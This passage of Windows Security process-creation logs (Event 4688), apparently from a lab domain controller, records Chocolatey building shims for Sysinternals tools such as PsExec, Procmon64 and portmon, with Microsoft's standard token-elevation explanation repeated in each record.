enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246664 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd24 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x288 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246663 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x288 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x440 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\portmon.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123417_1770\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123417_1770\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_1770\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_1770\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123417_1770\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246662 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xed4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x440 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246661 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x440 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\portmon.exe" --output="C:\ProgramData\chocolatey\bin\portmon.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\portmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:11 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246660 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe20 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfe0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESE78C.tmp" "c:\ProgramData\chocolatey\bin\CSC214895DE7549441F94CB48E0F673339.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246702 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa40 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf50 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246701 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf50 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\PsExec64.exe" --output="C:\ProgramData\chocolatey\bin\PsExec64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\PsExec64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246700 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe20 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xee0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESEEA1.tmp" "c:\ProgramData\chocolatey\bin\CSC1933DCDBB6DF47198134AF6BD4F50AB.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246699 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x2e0 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xee0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246698 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xee0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x530 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\PsExec.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123418_7552\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123418_7552\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_7552\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_7552\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_7552\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246697 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x844 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x530 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246696 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x530 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\PsExec.exe" --output="C:\ProgramData\chocolatey\bin\PsExec.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\PsExec.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246695 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xda0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xec8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESEDC6.tmp" "c:\ProgramData\chocolatey\bin\CSCEF36D3474CE448C4A98F43512093686E.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246694 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x364 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xec8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246693 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xec8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x30c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Procmon64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123418_5364\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123418_5364\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_5364\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_5364\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123418_5364\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246692 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaec - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x30c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246691 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x30c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Procmon64.exe" --output="C:\ProgramData\chocolatey\bin\Procmon64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Procmon64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:12 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246690 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfcc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x2e8 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESECDB.tmp" "c:\ProgramData\chocolatey\bin\CSCA16B56A2F1C54D73A46FACD7AC9E18EB.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. 